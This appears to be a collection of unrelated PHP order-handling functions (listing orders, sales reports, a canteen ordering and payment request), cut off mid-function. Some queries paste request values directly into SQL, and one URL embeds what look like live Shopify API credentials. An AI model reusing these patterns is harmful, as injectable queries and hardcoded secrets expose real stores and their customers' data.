$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($response));\n }else{\n die('AJAX request only');\n }\n }", "public function index_open()\n {\n $orders = Order::whereUserId(Auth('user')->user()->id)\n ->whereIn('status', ['dispatched', 'new', 'confirmed', 'in_ktichen', 'almost_ready', 'prepare_completed'])\n ->whereDate('created_at', '<=', now())\n ->latest()\n ->paginate(20);\n $response['status'] = 'success';\n $response['orders'] = $orders;\n return response()->json($response, Response::HTTP_OK);\n }", "function getAllUsersOrders(){\n\n}", "protected function list_orders() {\r\n // Get response\r\n $dt = new DataTableResponse( $this->user );\r\n\r\n $website_order = new WebsiteOrder();\r\n\r\n // Set Order by\r\n $dt->order_by( '`website_order_id`', '`total_cost`', '`status`', '`date_created`' );\r\n $dt->add_where( ' AND `website_id` = ' . (int) $this->user->account->id );\r\n $dt->search( array( '`website_order_id`' => false ) );\r\n\r\n // Get items\r\n $website_orders = $website_order->list_all( $dt->get_variables() );\r\n $dt->set_row_count( $website_order->count_all( $dt->get_count_variables() ) );\r\n\r\n // Set initial data\r\n $data = false;\r\n\r\n /**\r\n * @var WebsiteOrder $order\r\n */\r\n if ( is_array( $website_orders ) )\r\n foreach ( $website_orders as $order ) {\r\n switch ( $order->status ) {\r\n case WebsiteOrder::STATUS_DECLINED:\r\n $status = 'Declined';\r\n break;\r\n\r\n case WebsiteOrder::STATUS_PURCHASED:\r\n $status = 'Purchased';\r\n break;\r\n\r\n case WebsiteOrder::STATUS_PENDING:\r\n $status = 'Pending';\r\n break;\r\n\r\n case WebsiteOrder::STATUS_DELIVERED:\r\n $status = 'Delivered';\r\n break;\r\n\r\n case WebsiteOrder::STATUS_RECEIVED:\r\n $status = 'Received';\r\n break;\r\n\r\n case WebsiteOrder::STATUS_SHIPPED:\r\n $status = 'Shipped';\r\n break;\r\n\r\n default:\r\n $status = 'Error';\r\n break;\r\n }\r\n\r\n $date = new DateTime( $order->date_created );\r\n\r\n $link_text = '';\r\n if ( $order->is_ashley_express() ) {\r\n $link_text = \" - Express Delivery\";\r\n }\r\n\r\n $data[] = array(\r\n '<a href=\"' . url::add_query_arg( 'woid', $order->id, '/shopping-cart/orders/view/' ) . '\" title=\"' . _('View') . '\">' . $order->id . '</a>' . $link_text\r\n , $order->name\r\n , '$' . number_format( $order->total_cost, 2 )\r\n , $status\r\n , $date->format('F jS, Y')\r\n );\r\n }\r\n\r\n // Send response\r\n $dt->set_data( $data );\r\n\r\n return $dt;\r\n }", "public function getordersAction()\n { \n $id = 9;\n $viewobjmodel = new ViewModel();\n $client = new Client();\n\n $ServerPort =\"\";\n if($_SERVER['SERVER_PORT']){\n $ServerPort = ':'.$_SERVER['SERVER_PORT'];\n }\n $client->setUri('http://'.$_SERVER['SERVER_NAME'].$ServerPort.'/order-rest/'.$id);\n\n // $client->setUri('http://localhost:9015/order-rest/'.$id);\n $client->setOptions(array(\n 'maxredirects' => 0,\n 'timeout' => 30\n ));\n $response = $client->send();\n \n if ($response->isSuccess()) {\n $result = json_decode( $response->getContent() , true);\n }\n if(count($result)){\n $viewobjmodel->setVariable('result', $result);\n }\n return $this->redirect()->toRoute('ordermanagement', array('action' => 'index') );\n }", "function getWorkOrders($username,$cond,$sort1,$sort2,$argoffset,$arglimit) {\n $userid = \"'\" . $_SESSION['user'] . \"'\";\n $siteid = $_SESSION['siteid'];\n // echo $siteid;\n $siteval = \"w.siteid = '\" . $siteid .\"'\";\n\n $wcond = $cond;\n $offset = $argoffset;\n $limit = $arglimit;\n if ($sort1 == 'wo') {\n $sortorder1 = 'w.wonum';\n }\n if ($sort1 == 'company') {\n $sortorder1 = 'c.name';\n }\n if ($sort2 == 'wo') {\n $sortorder2 = 'w.wonum';\n }\n if ($sort2 == 'company') {\n $sortorder2 = 'c.name';\n }\n if ($sort1 != '' && $sort2 != '') {\n $sortorder = $sortorder1 . \",\" . $sortorder2;\n }\n else if ($sort1 != '') {\n $sortorder = $sortorder1;\n }\n else if ($sort2 != '') {\n $sortorder = $sortorder2;\n }\n\n else {$sortorder = 'w.wonum';}\n\n\n\n if ($_SESSION['usertype'] == 'CUST') {\n if ($_SESSION['userrole'] == 'SU')\n {\n\n $sql = \"select w.wonum, w.wotype,name, w.po_num,w.po_date, w.condition,\n w.condition, w.wo2type,w.create_date, '','', w.recnum, w.descr, u.initials, date_format(w.sch_due_date,'%d %b %y'), date_format(w.actual_ship_date,'%d %b %y'), date_format(w.book_date,'%d %b %y'), date_format(w.revised_ship_date,'%d %b %y'), reorder,w.filename1, w.filename2,w.filename3, w.filename4, w.qty, w.po_qty, grnnum,w.woclassif,w.original_qty, w.fai,w.treatment,w.book_date,w.rm_spec,w.rm_type\n from work_order w, \n contact cont ,company c, user u \n where\n w.condition = 'Open' and\n (w.actual_ship_date is NULL || w.actual_ship_date = '0000-00-00' || w.actual_ship_date = '') and \n cont.contact2company = w.wo2customer and \n w.wo2customer = c.recnum and u.user2contact= cont.recnum and userid = $userid\n \";\n // echo \"$sql\";\n\n }\n else\n {\n /*$sql = \"select w.wonum, w.wotype, c.name, w.po_num,w.po_date,\n w.status,w.condition, w.wo2type, emp.fname, emp.lname,\n w.create_date, w.recnum, w.descr, u.initials,\n date_format(w.sch_due_date,'%d %b %y'),\n date_format(w.book_date,'%d %b %y'),\n date_format(w.revised_ship_date,'%d %b %y'),\n reorder,b.bomnum,b.recnum , w.qty, w.po_qty,w.original_qty\n from company c, user u,work_order w\n left join bom b on w.wo2bom = b.recnum\n left join employee emp on w.wo2employee = emp.recnum\n left join contact cont on w.wo2contact = cont.recnum\n where\n w.wo2customer = c.recnum and\n cont.contact2company = w.wo2customer and\n u.user2contact = cont.recnum and\n u.userid = $userid and\n w.condition = 'Open' and\n (w.actual_ship_date is NULL || w.actual_ship_date = '0000-00-00' || w.actual_ship_date = '') and $siteval\n ORDER by $sortorder limit $offset, $limit\";*/\n\n\n $sql = \"select w.wonum, w.wotype, \n c.name, w.po_num,w.po_date, w.condition,w.condition, \n w.wo2type,w.create_date, \n '','', w.recnum, w.descr,\n u.initials, date_format(w.sch_due_date,'%d %b %y'), date_format(w.actual_ship_date,'%d %b %y'), date_format(w.book_date,'%d %b %y'), date_format(w.revised_ship_date,'%d %b %y'), reorder,w.filename1, w.filename2,w.filename3, w.filename4, w.qty, w.po_qty, grnnum,w.woclassif,w.original_qty, w.fai,w.treatment,w.book_date,w.rm_spec,w.rm_type\n from company c, user u,work_order w,contact cont\n \n where\n w.wo2customer = c.recnum and\n cont.contact2company = w.wo2customer and\n u.user2contact = cont.recnum and\n u.userid = $userid and\n w.condition = 'Open' and\n (w.actual_ship_date is NULL || w.actual_ship_date = '0000-00-00' || w.actual_ship_date = '')\n ORDER by $sortorder limit $offset, $limit\";\n\n // echo $sql;\n }\n\n }\n else if ($_SESSION['usertype'] == 'EMPL')\n {\n /* if ($_SESSION['userrole'] == 'DESG_B')\n {\n\n $sql = \"select distinct w.wonum, w.wotype, c.name, w.po_num,w.quote_num,\n w.status,w.condition, w.wo2type, emp.fname, emp.lname,\n date_format(w.create_date,'%y-%m-%d'), w.recnum, w.descr, cont.fname,\n cont.lname, w.wonum, date_format(w.sch_due_date,'%y-%m-%d'),\n date_format(w.actual_ship_date,'%y-%m-%d'), u.initials,\n date_format(w.book_date,'%d %b %y'),\n date_format(w.revised_ship_date,'%d %b %y'),\n reorder,b.bomnum,b.recnum\n from work_order w,employee emp, user u,contact cont, company c, part_used pu\n left join bom b on w.wo2bom = b.recnum\n where\n w.wo2customer = c.recnum and\n w.wo2contact = cont.recnum and\n w.wotype = 'Board' and\n u.user2employee = emp.recnum and\n u.userid = $userid\n ORDER by $sortorder limit $offset, $limit\";\n }\n else if ($_SESSION['userrole'] == 'DESG_S') {\n $sql = \"select distinct w.wonum, w.wotype, c.name, w.po_num,w.quote_num,\n w.status,w.condition, w.wo2type, emp.fname, emp.lname,\n date_format(w.create_date,'%y-%m-%d'), w.recnum, w.descr, cont.fname,\n cont.lname, w.wonum, date_format(w.sch_due_date,'%y-%m-%d'),\n date_format(w.actual_ship_date,'%y-%m-%d'), u.initials,\n date_format(w.book_date,'%d %b %y'),\n date_format(w.revised_ship_date,'%d %b %y'),\n reorder,b.bomnum,b.recnum\n from work_order w, employee emp, user u,contact cont, company c, part_used pu\n left join bom b on w.wo2bom = b.recnum\n where\n w.wo2customer = c.recnum and\n w.wo2contact = cont.recnum and\n wotype = 'Socket' and\n w.condition = 'Open' and\n (w.actual_ship_date is NULL || w.actual_ship_date = '0000-00-00' || w.actual_ship_date = '') and\n u.user2employee = emp.recnum and\n u.userid = $userid\n ORDER by $sortorder limit $offset, $limit\";\n } */\n if ($_SESSION['userrole'] == 'SU' || $_SESSION['userrole'] == 'RU'||$_SESSION['userrole'] == 'OP')\n {\n\n $sql = \"select w.wonum, w.wotype, c.name, w.po_num,w.po_date,\n w.condition,w.condition, w.wo2type, emp.fname, emp.lname,\n w.create_date, w.recnum, w.descr, u.initials,\n date_format(w.sch_due_date,'%d %b %y'),\n date_format(w.actual_ship_date,'%d %b %y'),\n date_format(w.book_date,'%d %b %y'),\n date_format(w.revised_ship_date,'%d %b %y'),\n reorder,b.bomnum,b.recnum,w.filename1, w.filename2,w.filename3,\n w.filename4, w.qty, w.po_qty, grnnum, md.CIM_refnum,w.woclassif,w.original_qty,\n\t\t\t\t\t\t w.fai,w.treatment,w.book_date,w.rm_spec,w.rm_type\n from work_order w\n left join bom b on w.wo2bom = b.recnum\n left join company c on w.wo2customer = c.recnum\n left join employee emp on w.wo2employee = emp.recnum\n left join user u on u.user2employee = emp.recnum\n left join master_data md on md.recnum = w.link2masterdata\n where $wcond and $siteval\n ORDER by (w.wonum+0),$sortorder limit $offset, $limit\";\n// $wcond and\n\n }\n else if ($_SESSION['userrole'] == 'SALES')\n {\n\n $sql = \"select w.wonum, w.wotype, c.name, w.po_num,w.po_date,\n w.status,w.condition, w.wo2type, emp.fname, emp.lname,\n w.create_date, w.recnum, w.descr, u.initials,\n date_format(w.sch_due_date,'%y-%m-%d'),\n date_format(w.actual_ship_date,'%y-%m-%d'),\n date_format(w.book_date,'%d %b %y'),\n date_format(w.revised_ship_date,'%d %b %y'),\n reorder,b.bomnum ,b.recnum, w.qty, w.po_qty,w.original_qty\n from work_order w, company c, user u, employee emp\n left join bom b on w.wo2bom = b.recnum\n where $wcond and\n w.wo2customer = c.recnum and\n w.wo2employee = emp.recnum and\n u.user2employee = emp.recnum and $siteval\n ORDER by $sortorder limit $offset, $limit\";\n }\n\n\n else if ($_SESSION['userrole'] == 'SALES PERSON')\n {\n\n $sql = \"select w.wonum, w.wotype, c.name, w.po_num,w.po_date,\n w.status,w.condition, w.wo2type, emp.fname, emp.lname,\n w.create_date, w.recnum, w.descr, u.initials,\n date_format(w.sch_due_date,'%y-%m-%d'),\n date_format(w.actual_ship_date,'%y-%m-%d'),\n date_format(w.book_date,'%d %b %y'),\n date_format(w.revised_ship_date,'%d %b %y'),\n reorder,b.bomnum,b.recnum, w.qty\n from work_order w, company c, user u, employee emp\n left join bom b on w.wo2bom = b.recnum\n where $wcond and\n w.wo2customer = c.recnum and\n w.wo2employee = emp.recnum and\n u.user2employee = emp.recnum and $siteval\n ORDER by $sortorder limit $offset, $limit\";\n }\n\n }\n // echo \"$sql\";\n\n $result = mysql_query($sql);\n return $result;\n\n }", "private function orders()\n {\n //$query=\"SELECT a.orderid, a.OrderNo,ordersource,b.customername,a.customerid FROM `order` as a left join customer as b on a.customerid= b.customerid \";\n\t\t\t$query=\"SELECT a.*,b.customername from `order` as a left join customer as b on a.customerid= b.customerid \";\n\t\t\t$r = $this->mysqli->query($query) or die($this->mysqli->error.__LINE__);\n\t\t\tif($r->num_rows > 0)\n {\n\t\t\t\t$result = array();\n\t\t\t\twhile($row = $r->fetch_assoc()){\n\t\t\t\t\t$result[] = $row;\n\t\t\t\t }\n \n\t\t\t $this->response($this->json($result), 200); // send user details\n }\n\t\t}", "function get_recent_orders(){\n\t $orders = $this->Order->get_recent_orders();\n\t if($this->params['requested']){\n\t return $orders;\n\t }else{\n\t $this->set('orders', $orders);\n\t }\n \n\t}", "public function actionIndex()\n {\n if(empty($ordersMonth)){\n $begin = new \\DateTime( date('Y-m-d h:i:s').' -3 weeks' );\n $end = new \\DateTime( date('Y-m-d h:i:s').' +1 day' );\n } else {\n $begin = new \\DateTime( date($ordersMonth.'-01 h:i:s') );\n $end = new \\DateTime( date($ordersMonth.'-t h:i:s'));\n }\n\n $interval = \\DateInterval::createFromDateString('1 day');\n $period = new \\DatePeriod($begin, $interval, $end);\n $orderStats = [];\n foreach ( $period as $dt ){\n $beginOfDay = $dt->setTime(0,0,1)->format( \"Y-m-d H:i:s\\n\" );\n $endOfDay = $dt->setTime(23,59,59)->format( \"Y-m-d H:i:s\\n\" );\n $orderStats[$dt->format(\"Y-m-d H:i:s\")]['all'] = SCOrders::find()->where(['between', 'order_time', $beginOfDay, $endOfDay])->andWhere(['source_ref'=>'ymrkt'])->sum('order_amount');\n $orderStats[$dt->format(\"Y-m-d H:i:s\")]['done'] = SCOrders::find()->where(['between', 'order_time', $beginOfDay, $endOfDay])->andWhere(['source_ref'=>'ymrkt'])->andWhere(['statusID'=>5])->sum('order_amount');\n $orderStats[$dt->format(\"Y-m-d H:i:s\")]['cancelled'] = SCOrders::find()->where(['between', 'order_time', $beginOfDay, $endOfDay])->andWhere(['source_ref'=>'ymrkt'])->andWhere(['statusID'=>1])->sum('order_amount');\n $orderStats[$dt->format(\"Y-m-d H:i:s\")]['new'] = SCOrders::find()->where(['between', 'order_time', $beginOfDay, $endOfDay])->andWhere(['source_ref'=>'ymrkt'])->andWhere(['statusID'=>3])->sum('order_amount');\n }\n\n return $this->render('index', ['orderStats'=>$orderStats, 'begin'=>$begin->format( \"Y-m-d H:i:s\\n\" ), 'end'=>$end->format( \"Y-m-d H:i:s\\n\" )]);\n }", "function show_orders() {\n\n\t\t$connection = new MySQLDataSource();\n $connection->connect($GLOBALS['db']['default']['hostname'],\n $GLOBALS['db']['default']['username'],\n $GLOBALS['db']['default']['password'],\n $GLOBALS['db']['default']['database']);\n\t\t$query = \"SELECT * FROM orders ORDER BY date;\";\n\t\t$connection->execute_query($query);\n\t\t$row = $connection->next();\n\t\t$i = 0;\n\n\t\tif(!$row) {\n\n\t\t\t$connection->disconnect();\n\t\t\treturn false;\n\n\t\t} else {\n\n\t\t\twhile($row) {\n\n\t\t\t\t$orders[$i] = new Order();\n\t\t\t\t$orders[$i]->setIdOrder($row->id_order);\n\t\t\t\t$orders[$i]->setDate($row->date);\n\t\t\t\t$orders[$i]->setIdCustomer($row->id_customer);\n\t\t\t\t$orders[$i]->setAmount($row->amount);\n\t\t\t\t$row = $connection->next();\n\t\t\t\t$i++;\n\n\t\t\t}\n\n\t\t\t$connection->disconnect();\n\t\t\treturn $orders;\n\n\t\t}\n\t}", "public function index()\n {\n\n if(Auth::user()->role == 'admin' ){\n $dt = Carbon::now();\n $date = $dt->toDateString();\n // return $date ;\n list($year,$month,$day) = explode(\"-\", $date);\n $wkday = date('l',mktime('0','0','0', $month, $day, $year));\n \n switch($wkday) {\n \n case 'Saturday': $numDaysToMon = 0; break;\n case 'Sunday': $numDaysToMon = 1; break; \n case 'Monday': $numDaysToMon = 2; break;\n case 'Tuesday': $numDaysToMon = 3; break;\n case 'Wednesday': $numDaysToMon = 4; break;\n case 'Thursday': $numDaysToMon = 5; break;\n case 'Friday': $numDaysToMon = 6; break; \n }\n\n // Timestamp of the monday for that week\n $monday = mktime('0','0','0', $month, $day-$numDaysToMon, $year);\n\n $seconds_in_a_day = 86400;\n\n // Get date for 7 days from Monday (inclusive)\n for($i=0; $i<7; $i++)\n {\n $dates[$i] = date('Y-m-d',$monday+($seconds_in_a_day*$i));\n $saless[$i] = Order::whereDate('created_at','=' ,$dates[$i])->count('id');\n \n // $dates[$i]= date('l, F jS, Y', strtotime($dates[$i]));\n $weeks[$i]= trans('admin.'.date('l', strtotime($dates[$i])));\n // $dates[$i] = $dates[$i]->format('dd/mm/yy');\n }\n\n $monthName = date('F',mktime('0','0','0', $month, $day, $year));\n \n switch($monthName) {\n \n case 'January': $numDaysToMon = 0; break;\n case 'February': $numDaysToMon = 1; break; \n case 'March': $numDaysToMon = 2; break;\n case 'April': $numDaysToMon = 3; break;\n case 'May': $numDaysToMon = 4; break;\n case 'June': $numDaysToMon = 5; break;\n case 'July': $numDaysToMon = 6; break; \n case 'August': $numDaysToMon = 7; break; \n case 'September': $numDaysToMon = 8; break; \n case 'October': $numDaysToMon = 9; break; \n case 'November': $numDaysToMon = 10; break; \n case 'December': $numDaysToMon = 11; break; \n }\n\n // Timestamp of the monday for that week\n // return $numDaysToMon;\n $monday = mktime('0','0','0', $month-$numDaysToMon, $day, $year);\n\n $seconds_in_a_day = 2592000;\n\n // Get date for 7 days from Monday (inclusive)\n \n for($i=0; $i<12; $i++)\n {\n $dates[$i] = date('Y-m-d',$monday+($seconds_in_a_day*$i));\n $year = date('Y',$monday+($seconds_in_a_day*$i));\n $month = date('m',$monday+($seconds_in_a_day*$i));\n \n $salessmonth[$i] = Order::whereYear('created_at', '=', $year)\n ->whereMonth('created_at', '=', $month)->count('id');\n // $dates[$i]= date('l, F jS, Y', strtotime($dates[$i]));\n $months[$i]= date('j/F', strtotime($dates[$i]));\n \n // $dates[$i] = $dates[$i]->format('dd/mm/yy');\n }\n \n $clients = User::where('role','client')->count('id');\n $departments = Departement::count('id');\n $orders = Order::count('id');\n $users = User::where('role','user')->count('id');\n $allservices = Service::with('offers')->get();\n $services = array_pluck($allservices,'name', 'id');\n $title = 'reports' ;\n $lang = App::getlocale();\n return view('reports.index',compact('title','salessmonth','saless','months','weeks','orders','clients','departments','users','services','lang'));\n\n\n\n }\n }", "public function getWhatThisWeek($macid, $today) {\n $aDay = 1000 * 60 * 60 * 24;\n $oneWeekAgo = $today - $aDay * 7;\n\n $thisWeek = $this->getWhat($macid, $oneWeekAgo, $today);\n\n echo json_encode($thisWeek);\n }", "function ww_ajax_get_current_weather() {\n $current_weather = owm_get_current_weather($_POST['city'], $_POST['country']);\n // Send the data our PHP code gets from OWM API\n wp_send_json($current_weather);\n}", "public function addOrder(){\r\n $order = $_REQUEST['order']; \r\n $form = M(\"logininfo\"); \r\n $condition['ssid'] = $_COOKIE['iPlanetDirectoryPro'];\r\n $data_user = $form->where($condition)->find();\r\n $username = $data_user['name'];\r\n $dep = $data_user['dep'];\r\n $stuid = $data_user['username'];\r\n $form_user = M('userinfo');\r\n $condition_user['stuid'] = $stuid;\r\n $data_final = $form_user->where($condition_user)->find();\r\n if ($data_final) $dep = $data_final['dep'];\r\n $trade = \"\";\r\n for ($ii = 0;$ii < count($order);$ii++)\r\n {\r\n date_default_timezone_set(\"Asia/Shanghai\"); \r\n\t \t$ordertime = date('Y-m-d H:i:s');\r\n $checktime = date('Hi');\r\n // if (!(($checktime >= '0830' && $checktime<= '1030')||($checktime>='1400' && $checktime<='1630')))\r\n // {\r\n // //echo $checktime;\r\n // $data_error['error'] = \"对不起,现在不是订餐时间\";\r\n // $data_error = json_encode($data_error);\r\n // echo $data_error;\r\n // return;\r\n // } \r\n $new['trade_date'] = date('YmdHis');\r\n $search = date('Ymd'); \r\n //var_dump($search);\r\n $form_order = M(\"orderinfo\"); \r\n $condition = array(); \r\n $condition['number'] = array('like','%'.$search.'%'); \r\n\r\n $data_order = $form_order->where($condition)->select(); \r\n $jnl = (String)count($data_order)+1;\r\n $zero = '';\r\n for ($i = 0; $i < 6-strlen($jnl); $i++) $zero = $zero.'0';\r\n $jnl = $zero.$jnl;\r\n //var_dump($jnl); 计算订单号jnl\r\n $number[$ii] = $search.$jnl; \r\n\t \t$address = $order[$ii]['address'];\r\n\t \t$phone = $order[$ii]['phone'];\r\n\t \t$remark = $order[$ii]['remark'];\r\n\t \t$amount = $order[$ii]['amount'];\r\n $pay = $order[$ii]['pay'];\r\n $area = $order[$ii]['area'];\r\n\t \t$status = \"下单成功\";\r\n $id = $order[$ii]['id'];//食品的ID\r\n // var_dump($id);\r\n $condition = array(); \r\n $condition['id'] = $id;\r\n $form = M(\"foodinfo\");\r\n $data = array();\r\n $data = $form->where($condition)->find();\r\n // var_dump($data);\r\n if ($data['amount'] - $amount >=0)\r\n\t\t\t{\r\n\t\t\t\tif ($pay == '签单') $data['amount'] = $data['amount'] - $amount;\r\n\t\t\t}\r\n else \r\n {\r\n $data_error['error'] = \"对不起,套餐已经卖光啦,下次早点来吧!\";\r\n $data_error = json_encode($data_error);\r\n echo $data_error;\r\n return;\r\n }\r\n $form -> save($data); \r\n $addnew = array();\r\n $form = array();\r\n $addnew['food'] = $data['name'];\r\n //var_dump($data['name']);\r\n $addnew['price'] = $data['price']*$amount; \r\n\t\t\t$form = M('orderinfo'); \r\n $addnew['number'] = $number[$ii];\r\n\t\t\t$addnew['username'] = $username;\r\n $addnew['dep'] = $dep;\r\n $addnew['stuid'] = $stuid;\r\n\t\t\t$addnew['ordertime'] = $ordertime;\r\n\t\t\t$addnew['address'] = $address;\r\n\t\t\t$addnew['phone'] = $phone;\r\n\t\t\t$addnew['remark'] = \"\";//所有数据都不能留空!!!\r\n $addnew['pay'] = $pay;\r\n if ($addnew['pay'] == '签单') $addnew['pay_status'] = 1;\r\n else $addnew['pay_status'] = 0;\r\n\t\t\t$addnew['area'] = $area;\r\n\t\t\t$addnew['amount'] = $amount;\r\n\t\t\t$addnew['status'] = $status;\r\n // $trade = $trade.\"<trade><user_id>\".$stuid.\"</user_id><user_name>\".$username.\"</user_name><jnl>\".$number.\"</jnl><rec_acc>\".\"zjgkc\".\"</rec_acc><amt>\".$addnew['price'].\"</amt><trade_code></trade_code><comment>浙江大学订餐系统</comment><resv_col1></resv_col1><resv_col2></resv_col2><resv_col3></resv_col3><Msg></Msg></trade>\";\r\n //var_dump($addnew);\r\n\t\t\t$form->add($addnew); \r\n }\r\n if ($addnew['pay_status'] == 0)\r\n {\r\n $jnl = $number[0];\r\n $new['app_id'] = 'ZDYS';\r\n $new['user_name'] = $username;\r\n $new['user_id'] = $stuid;\r\n $new['trade_jnl'] = 'ys'.$jnl;\r\n $new['trade_mode'] = \"\";\r\n $total_amt = 0;$total_num = 0;\r\n $total_jnl = $number[0];\r\n for ($i = 0;$i<count($order);$i++)\r\n {\r\n $total_num = $total_num + 1;\r\n $id = $order[$i]['id'];//食品的ID\r\n $condition = array(); \r\n $condition['id'] = $id;\r\n $form_food = M(\"foodinfo\");\r\n $data_food = array();\r\n $data_food = $form_food->where($condition)->find();\r\n $total_amt = $total_amt + $order[$i]['amount']*$data_food['price'];\r\n if ($i != 0) $total_jnl = $total_jnl.','.(string)$number[$i]; \r\n }\r\n $form_jnl = M('jnlinfo');//添加订单对应关系\r\n $new_jnl['first'] = $number[0];\r\n $new_jnl['total'] = $total_jnl;\r\n $form_jnl -> add($new_jnl);\r\n $trade = \"<trade><user_id>\".$stuid.\"</user_id><user_name>\".$username.\"</user_name><jnl>\".$number[0].\"</jnl><rec_acc>\".\"zjgkc\".\"</rec_acc><amt>\".$total_amt.\"</amt><trade_code></trade_code><comment>浙江大学订餐系统</comment><resv_col1></resv_col1><resv_col2></resv_col2><resv_col3></resv_col3><Msg></Msg></trade>\";\r\n $new['trade_req'] = \"<trade_req><pay_acc></pay_acc><pay_acc_name></pay_acc_name><total_num>\".'1'.\"</total_num><total_amt>\".$total_amt.\"</total_amt><resv_col1></resv_col1><resv_col2></resv_col2><resv_col3></resv_col3><trades>\".$trade.\"</trades></trade_req>\";\r\n $new['res_mode'] = 'res_notify';\r\n $new['trade_chars'] = 'utf-8';\r\n $new['trade_type'] = 'pay';\r\n $new['sign_type']=\"md5\";\r\n $new['iPlanetDirectoryPro'] = urlencode($_COOKIE['iPlanetDirectoryPro']);\r\n $new['notify_url'] = \"http://10.203.2.68/fastfood/index.php/Pay/request\";\r\n $salt = \"synZDYS\";\r\n $sign = \"app_id=\".$new['app_id'].\"&user_id=\".$new['user_id'].\"&trade_jnl=\".$new['trade_jnl'].\"&trade_req=\".$new['trade_req'].\"&salt=\".$salt;\r\n $new['sign'] = strtoupper(md5($sign));\r\n $new = json_encode($new);\r\n echo $new;\r\n\r\n }\r\n }", "public function ajaxDailyCustomer(Request $request)\n {\n \t$id = $request->id;\n \t$customer = $this->FacturasQueries->getClientesID($id);\n \tforeach ($customer as $row) {\n \t\t$array = array('dui' => $row->DUI, 'nit' => $row->NIT, 'tel' => $row->Telefono);\n \t}\n if (empty($array)) \n {\n $array = array('vacio' => \"true\");\n return response()->json($array);\n }\n else{\n return response()->json($array);\n } \n }", "public function getXOrders(Request $request)\n {\n $orders = $this->helpers->getOrders();\n #dd($orders);\n return json_encode($orders);\n }", "public function allWorkOrder()\n\t{\n\t\t// $data['workOrder']=$this->MainModel->selectAllworkOrder();\n\t\t// $data['worksOrders'] = $this->MainModel->selectAll('work_order', 'client_id');\n\t\t$data['worksOrders'] = $this->MainModel->selectAllworkOrder();\n\t\t$this->load->view('layout/header');\n\t\t$this->load->view('layout/sidebar');\n\t\t$this->load->view('pages/all-workorder', $data);\n\t\t$this->load->view('layout/footer');\n\t}", "public function AllOrders_get() {\n extract($_GET);\n $result = $this->feeds_model->AllOrders($per_page, $offset);\n return $this->response($result);\n }", "function getOrderEvents($order_shopify_id){\n $_url = 'https://f1d486bdbc7147e7d601cda568c738d0:957268353e6ec273aa9883dd5d50e171@omg-true.myshopify.com/admin/orders/' . $order_shopify_id . '/events.json';\n return json_decode(file_get_page($_url),true);\n}", "function daylist_get() {\n $condition = \"\";\n $fromdate = $this->get('fromdate');\n $todate = $this->get('todate');\n $status = $this->get('status');\n $store = $this->get('store');\n $total_cost = 0.00;\n\n if ($status != \"\") {\n if ($status == \"Delivered\") {\n $condition .= \" and o.status='Delivered' and o.delivery_accept='1' \"; // and delivery_recieved='1'\n }else if ($status == \"Rejected\") {\n $condition .= \" and o.status='Delivered' and o.delivery_reject='1'\";\n }else{\n $condition .= \" and o.status='$status'\"; \n }\n \n };\n \n\n if ($store != \"\")\n $condition .= \" and o.orderedby='$store'\";\n if ($fromdate != \"\" && $todate == \"\") {\n $fromdate = date(\"Y-m-d\", strtotime($fromdate));\n if($status == \"Delivered\") {\n $condition .= \" and o.`deliveredon` between '$fromdate 00:00:00' and '$fromdate 23:59:59'\";\n }else{\n $condition .= \" and o.`orderedon` between '$fromdate 00:00:00' and '$fromdate 23:59:59'\";\n }\n \n } else if ($fromdate != \"\" && $todate != \"\") {\n $fromdate = date(\"Y-m-d\", strtotime($fromdate));\n $todate = date(\"Y-m-d\", strtotime($todate));\n if($status == \"Delivered\") {\n $condition .= \" and o.`deliveredon` between '$fromdate 00:00:00' and '$todate 23:59:59'\";\n }else{\n $condition .= \" and o.`orderedon` between '$fromdate 00:00:00' and '$todate 23:59:59'\";\n }\n } else if ($fromdate == \"\" && $todate == \"\") {\n\n $fromdate = date(\"Y-m-d\");\n if($status == \"Delivered\") {\n $condition .= \" and o.`deliveredon` between '$fromdate 00:00:00' and '$fromdate 23:59:59'\";\n }else{\n $condition .= \" and o.`orderedon` between '$fromdate 00:00:00' and '$fromdate 23:59:59'\";\n }\n \n }\n // echo \"select o.id,o.order_id,o.`orderedon`,s.name as store,o.order_value from orders o,stores s where o.orderedby = s.id $condition\";\n $result_set = $this->model_all->getTableDataFromQuery(\"select o.id,o.order_id,o.`orderedon`,s.name as store,o.order_value from orders o,stores s where o.orderedby = s.id $condition\");\n //echo $this->db->last_query();\n if ($result_set->num_rows() > 0) {\n $result[\"status\"] = 1;\n $result[\"message\"] = \"Records Found\";\n $result[\"total_records\"] = $result_set->num_rows();\n foreach ($result_set->result_array() as $row) {\n $row['orderedon'] = date(\"d-m-Y\", strtotime($row['orderedon']));\n $total_cost = $total_cost + $row['order_value'];\n $result[\"records\"][] = $row;\n }\n $result[\"total_cost\"] = \"Rs \" . $total_cost . \" /-\";\n\n $this->response($result, 200);\n exit;\n } else {\n $result[\"status\"] = 0;\n $result[\"message\"] = \"No records Found\";\n $this->response($result, 200);\n exit;\n }\n }", "public function send()\n {\n if (!Mage::getStoreConfig(Epoint_SwissPostSales_Helper_Order::ENABLE_SEND_ORDER_CONFIG_PATH)) {\n return;\n }\n // Check if the date is configured.\n if(!Mage::getStoreConfig(\n Epoint_SwissPostSales_Helper_Order::XML_CONFIG_PATH_FROM_DATE \n )){\n \tMage::helper('swisspost_api')->log(\n Mage::helper('core')->__('Error on send order cron, from date filter is not configured!')\n );\n return ; \n }\n $status_filter = explode(',', \n \tMage::getStoreConfig(self::ENABLE_SEND_ORDER_STATUS_CONFIG_PATH)\n );\n if(is_array($status_filter)){\n \t$status_filter = array_map('trim', $status_filter);\n }\t\n $from_date = date('Y-m-d H:i:s', strtotime(Mage::getStoreConfig(\n Epoint_SwissPostSales_Helper_Order::XML_CONFIG_PATH_FROM_DATE)\n )\n );\n // All orders without odoo code id\n $order_collection = Mage::getModel('sales/order')\n ->getCollection()\n // Join invoices, send only \n ->join(array('invoice' => 'sales/invoice'), \n 'invoice.order_id=main_table.entity_id', \n array('invoice_entity_id'=>'entity_id'), null , 'left')\n ->addAttributeToFilter(\n 'main_table.created_at',\n array('gt' => $from_date)\n )\n ->addFieldToFilter(\n 'main_table.status',\n array(array('in'=>array($status_filter)))\n )\n ->addAttributeToFilter(\n 'main_table.'.Epoint_SwissPostSales_Helper_Data::ORDER_ATTRIBUTE_CODE_ODOO_ID,\n array(array('null' => true),\n array('eq' => 0)\n )\n );\n // Add group \n $order_collection->getSelect()->group('main_table.entity_id');\n // Add Limit \n $order_collection->getSelect()->limit((int)Mage::getStoreConfig(Epoint_SwissPostSales_Helper_Order::XML_CONFIG_PATH_CRON_LIMIT)); \n foreach 